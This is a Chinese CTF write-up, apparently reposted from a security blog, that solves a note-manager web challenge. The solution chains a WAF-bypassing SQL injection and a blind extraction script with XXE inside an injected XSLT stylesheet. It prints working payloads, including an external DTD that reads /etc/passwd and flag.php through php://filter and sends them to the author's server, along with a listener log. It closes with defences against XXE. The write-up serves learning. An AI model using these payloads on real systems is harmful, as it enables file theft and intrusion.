当前位置:   article > 正文

从sql注入到xslt再到xxe的一道ctf题目

xslt导致的xxe

点击上方“合天智汇”,选择“置顶公众号”

有内涵的干货文章第一时间送达!

本文作者:一叶飘零

投稿活动:重金悬赏 | 合天原创投稿等你来!

1

前记

最近比较闲,看到一道web题目,学到了一些知识,于是有了这篇文章

2

题目描述

打开题目发现是一个笔记管理系统

然后发现有注册和登录,随手注册了一个账号

登入后发现几个功能

分别是:

  1. 新建笔记

  2. 生成xml文件

  3. 将生成的xml文件导出为html文件

于是开始随意尝试

第一个想法:

是不是flag在管理员的笔记里呢?我只要登入管理员账号即可?

于是开始尝试在登录和注册处进行sql注入

发现未果,后台对注入处理比较完善

会过滤了union,select,空格等多种必要符号

随即暂且放弃了这个想法。

第二个想法:

新建笔记可否写xml,进行xxe攻击呢,或者xss?

尝试了一下

<script>

容易发现转义

accordion-content"><script></div></dd></dl></p>

尝试绕过也未果,这个想法也破灭。

于是开始分析题目流程

  1. 注册账号

  2. 登录账号

  3. 新建笔记

  4. 生成xml文件

  5. 导出为html

我们思考一下后面3个步骤的实现:

新建笔记:将我们的输入经过处理存入数据库

生成xml文件:根据我们的用户名查询我们数据库里的content,并根据content生成xml文件

导出为html:将xml文件转换为html的形式显示出来

那么问题来了,如何将xml文件转换为html的形式?

这里就涉及到了新的知识点:XSLT

3

知识前引

1

xxe的定义

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

详细的名词解释可以参照freebuf这篇文章:http://www.freebuf.com/articles/web/126788.html

2

xxe简单例子

发出请求

<!ENTITY file SYSTEM “file:///etc/passwd”>  

<username>&file;</username>

服务器返回etc/passwd的文件内容:

<username>root:1:3.......</username>  

最终造成任意文件读取的问题

3

xslt的定义

XSL(可扩展样式表语言)是一种用于转换XML文档的语言。XSLT代表XSL转换。XSL转换本身就是XML文档。

转换的结果可以是不同的XML文档或其他内容,如HTML文档,CSV文件或纯文本文件。

4

xslt的使用

国外的一篇文章里有这样的样例:

xml文件如下

<?xml version="1.0" ?>

<fruits>

  <fruit>

    <name>Lemon</name>

    <description>Yellow and sour</description>

  </fruit>

  <fruit>

    <name>Watermelon</name>

    <description>Round, green outside, red inside</description>

  </fruit>

</fruits>

如果要将这个xml文件转换为纯文本格式,可以使用如下xsl转换

<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

  <xsl:template match="/fruits">

    Fruits:

    <!-- Loop for each fruit -->

    <xsl:for-each select="fruit">

      <!-- Print name: description -->

      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>

    </xsl:for-each>

  </xsl:template>

</xsl:stylesheet>

转换后结果

Fruits:

 

      - Lemon: Yellow and sour

      - Waterm

5

xslt的相关攻击

由于xslt的文档格式为xml,所以存在xml相关的攻击

比如常见的xml引入外部实体,可以读取文件的问题

这里就不详细介绍了,因为一会儿还要实战

4

思考攻击点

学习过xslt相关知识后,很容易看出这个题目的考点

但是新的问题来了

xslt的攻击是在xml文件转换为其他文档格式的时候触发的,那我们的xml文件从哪里来呢?

现在无非两个思路

1.新建笔记的时候插入xml文件

2.直接sql注入插入content,内容为xml文件

第一个思路显然没有办法,因为在新建笔记插入文件的时候会经过转义处理,再次转换的时候无法引入我们想要的攻击构造

而第二个思路却没有注入点,应该如何是好?

在苦思冥想之际,我发现了两个神奇的点:

如图,首先是xml文件名,我惊奇的发现竟然就是自己用户名的md5,

于是我尝试了一下admin的xml文件,即:

./xml/21232f297a57a5a743894a0e4a801fc3.xml

发现hint

<notes>

<item>

<id>1</id>

<title size="1">学习记录</title>

<content>It's so easy to use xslt to parse xml.</content>

<id>2</id>

<title size="2">flag</title>

<content>flag在./flag.php文件</content>

</item>

</notes>

可以更加肯定的证明,我们的猜想是正确的,的确是xslt攻击引入xml去读取./flag文件

然后我又发现了模板一和模板二的问题

这看似多此一举的选项操作,其实是预留下了sql注入的隐患。我们抓包看看模板的选择是怎样传递给后端的:

发现template是以post方式提交的,于是我在此尝试了一下注入,这里我选择hackbar,方便回显

当template为1时,发现正常回显

当template为1'时,发现无回显

于是我确定此处存在注入问题

随即fuzz了一下,发现会过滤空格和许多关键词

但是正是因为template被过滤空格

容易发生这样的问题

比如

union会被过滤

但是我输入

un和ion不会过滤

那么我们输入un ion

(注:中间带一个空格)

即可成功构造出union

最好因为空格被过滤的原因,un和ion成功合并在一起

于是我们可以利用这个方法突破关键词过滤。

而后又经过fuzz,发现/**/可以绕过空格过滤

于是我开始随手尝试

template=1/**/o rder/**/b y/**/1

(注:关键词中带有空格)

成功回显

template=1/**/o rder/**/b y/**/2

(注:关键词中带有空格)

无回显

(注:本来无论or还是order都是会被替换为空的,但这里就用到了之前提到的关键词+空格bypass的技巧or和order都会被过滤,但是o和rder就完全不会触发过滤了,所以此时只需要在o和rder中间加入一个空格,由于空格被过滤,我们自然可以得到order:)

说明只有一列数据)

但是当我尝试

template=0/**/uni on/**/sel ect/**/1/**/li mit/**/1

(注:关键词中带有空格)

发现依旧无回显

template=0/**/uni on/**/sel ect/**/0/**/li mit/**/1

(注:关键词中带有空格)

回显为模板不存在

这是为什么呢?

经过我的猜测,查询语句可能如下:

select content from users where template=1

我们union select可以填充content,但是必须符合xml语法,否则无法转换,所以无回显

所以整体攻击思路相当明显了

1.利用union select填充我们构造的恶意content

2.xslt对我们填充的恶意content进行转换

3.触发攻击,引入外部实体

4.读取flag

5

攻击构造

1

攻击步骤1

利用union select填充我们构造的恶意content

想要构造恶意xsl,我们首先得了解该题目规定的xsl,以防止语法错误。为此我写了脚本,查看admin的content,用来获得xsl的格式:

# -*- coding: utf-8 -*-

import requests

import string

import urllib

cookie = {

"PHPSESSID":"e51d34c56f1d02e0eace44a7988ae1ec"

}

url = "题目ip/report.php"

flag = "3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e"

true_flag = """<?xml version="1.0" encoding="utf-8"?>"""

for i in range(1,1000):

    payload = flag

    for j in range(1,127):

        if chr(j) in '''_%''':

            continue

        if len(hex(ord(chr(j)))[2:]) == 1:

            lll = '0'+hex(ord(chr(j)))[2:]

        else:

            lll = hex(ord(chr(j)))[2:]

        # print lll

        data = {

            "template":urllib.unquote("0/**/o r/**/content/**/li ke/**/bin ary/**/0x%s25/**/li mit/**/1/**/off set/**/0"%(payload+lll))

        }

        r =requests.post(url=url,data=data,cookies=cookie)

        if '模板不存在' not in r.content:

            flag += lll

            true_flag += chr(int('0x'+lll,16))

            print true_flag

            print flag

            break

运行后即可成功得到admin的content内容:

<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

  <xsl:template match="/notes">

    <xsl:for-each select="item">

      <p data-am-widget="accordion" class="am-accordion am-accordion-gapped">

      <dl class="am-accordion-item am-active">

        <dt>

           <xsl:value-of select="id"/>. <xsl:value-of select="title"/>

        </dt>

        <dd class="am-accordion-bd am-collapse am-in">

          <div>

                <xsl:value-of select="content"/>

          </div>

        </dd>

      </dl>

  </p>

 

    </xsl:for-each>

  </xsl:template>

</xsl:stylesheet>

得到了正确的xsl格式,我开始构造我的xsl payload,

为了验证之前xxe和xslt转换带来问题的思路,我构造如下代码,尝试它是否会来请求我的vps

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://我的vps:23333">]>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

  <xsl:template match="/notes">

   Notes &ext_file;:

    <xsl:for-each select="item">

      <p data-am-widget="accordion" class="am-accordion am-accordion-gapped">

      <dl class="am-accordion-item am-active">

        <dt>

           <xsl:value-of select="id"/>. <xsl:value-of select="title"/>

        </dt>

        <dd class="am-accordion-bd am-collapse am-in">

          <div>

                <xsl:value-of select="content"/>

          </div>

        </dd>

      </dl>

  </p>

 

    </xsl:for-each>

  </xsl:template>

</xsl:stylesheet>

其中解释一下关键点:

<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://我的vps:23333">]>

关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容。所以一旦这个题可以成功引入外部实体,那么他一定会来请求我们指定的ip和端口。

将上述代码转换为16进制,利用Union select填充发送并且在自己的23333端口监听,得到:

root@ubuntu-512mb-sfo2-01:~# nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)

Connection from [题目ip] port 23333 [tcp/*] accepted (family 2, sport 56744)

GET / HTTP/1.0

Host: 我的ip:23333

Connection: close

发现请求成功!

2

xslt转换触发xxe攻击

我开始构造我的xxe攻击文件:

在你的vps上放上文件xxe.xml,内容如下:

<!ENTITY % f SYSTEM 

"php://filter/read=convert.base64-encode/resource=/etc/passwd">

<!ENTITY % all "<!ENTITY &s SYSTEM

'http://你的vps/?f=%f;'>">

再在关键处插入

<!DOCTYPE ANY[

  <!ENTITY % r SYSTEM "http://你的vps/xxe.xml">

  %r;

  %all;

  %s;

]>

于是我根据这xsl文件格式插入标准的xxe攻击格式:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE ANY[

  <!ENTITY % r SYSTEM "http://你的vps/xxe.xml">

  %r;

  %all;

  %s;

]>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

  <xsl:template match="/notes">

   Notes &ext_file;:

    <xsl:for-each select="item">

      <p data-am-widget="accordion" class="am-accordion am-accordion-gapped">

      <dl class="am-accordion-item am-active">

        <dt>

           <xsl:value-of select="id"/>. <xsl:value-of select="title"/>

        </dt>

        <dd class="am-accordion-bd am-collapse am-in">

          <div>

                <xsl:value-of select="content"/>

          </div>

        </dd>

      </dl>

  </p>

 

    </xsl:for-each>

  </xsl:template>

</xsl:stylesheet>

并转换为16进制,然后进行union填充

template=0/**/uni on(注:关键词中有空格)/**/sel ect(注:关键词中有空格)/**/

0x3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e0a3c21444f435459504520414e595b0a20203c21454e54495459202520722053595354454d2022687474703a2f2f3132372e302e302e312f7878652e786d6c223e0a202025723b0a202025616c6c3b0a202025733b0a5d3e0a3c78736c3a7374796c6573686565742076657273696f6e3d22312e302220786d6c6e733a78736c3d22687474703a2f2f7777772e77332e6f72672f313939392f58534c2f5472616e73666f726d223e0a20203c78736c3a74656d706c617465206d617463683d222f6e6f746573223e0a2020204e6f74657320266578745f66696c653b3a0a202020203c78736c3a666f722d656163682073656c6563743d226974656d223e0a2020202020203c73656374696f6e20646174612d616d2d7769646765743d226163636f7264696f6e2220636c6173733d22616d2d6163636f7264696f6e20616d2d6163636f7264696f6e2d676170706564223e0a2020202020203c646c20636c6173733d22616d2d6163636f7264696f6e2d6974656d20616d2d616374697665223e0a20202020202020203c647420636c6173733d22616d2d6163636f7264696f6e2d7469746c65223e0a20202020202020202020203c78736c3a76616c75652d6f662073656c6563743d226964222f3e2e203c78736c3a76616c75652d6f662073656c6563743d227469746c65222f3e0a20202020202020203c2f64743e0a20202020202020203c646420636c6173733d22616d2d6163636f7264696f6e2d626420616d2d636f6c6c6170736520616d2d696e223e0a202020202020202020203c64697620636c6173733d22616d2d6163636f7264696f6e2d636f6e74656e74223e0a202020202020202020202020202020203c78736c3a76616c75652d6f662073656c6563743d22636f6e74656e74222f3e0a202020202020202020203c2f6469763e0a20202020202020203c2f64643e0a2020202020203c2f646c3e0a20203c2f73656374696f6e3e0a0a202020203c2f78736c3a666f722d656163683e0a20203c2f78736c3a74656d706c6174653e0a3c2f78736c3a7374796c6573686565743e/**/li mit/**/1

然后在vps上收到结果

成功读取了/etc/passwd的内容

3

读取flag文件内容

此时只需要将你vps上的xxe.xml文件改为

<!ENTITY % f SYSTEM 

"php://filter/read=convert.base64-encode/resource=./flag.php">

<!ENTITY % all "<!ENTITY &s SYSTEM

'http://你的vps/?f=%f;'>">

于是最终成功获得./flag的内容

 <?php

$flag = "green{7b12df7fb44cf84d989b21d6b6aaae8c}";

6

防御方案

  1. 使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

   2. 使用第三方应用代码及时升级补丁

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

参考:https://www.waitalone.cn/xxe-attack.html

7

背景

题目实际考点为3个:

1.bypass waf进行union填充注入

2.xslt的攻击点学习

3.blind xxe的基础攻击方法

总体来说还是很有趣的,orz出题师傅~

 

郑重申明:

文章仅供知识参考与学习,利用从事任何违法行为与本人和合天智汇无关!

稿

2018年第一季度原创投稿评优结果将在4月份公布啦!

届时将评选出三个奖项,共计15名原创作者!

  1. 积极参与奖

  2. 最具文采奖

  3. 最佳作者奖

丰厚大礼等着大家哟,快来积极参与投稿吧!

重金悬赏 | 合天原创投稿等你来!(点击了解投稿详情)

    合天智汇

网址 : www.heetian.com

电话:4006-123-731

长按图片,据说只有颜值高的人才能识别哦→

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/687383
推荐阅读
相关标签
  

闽ICP备14008679号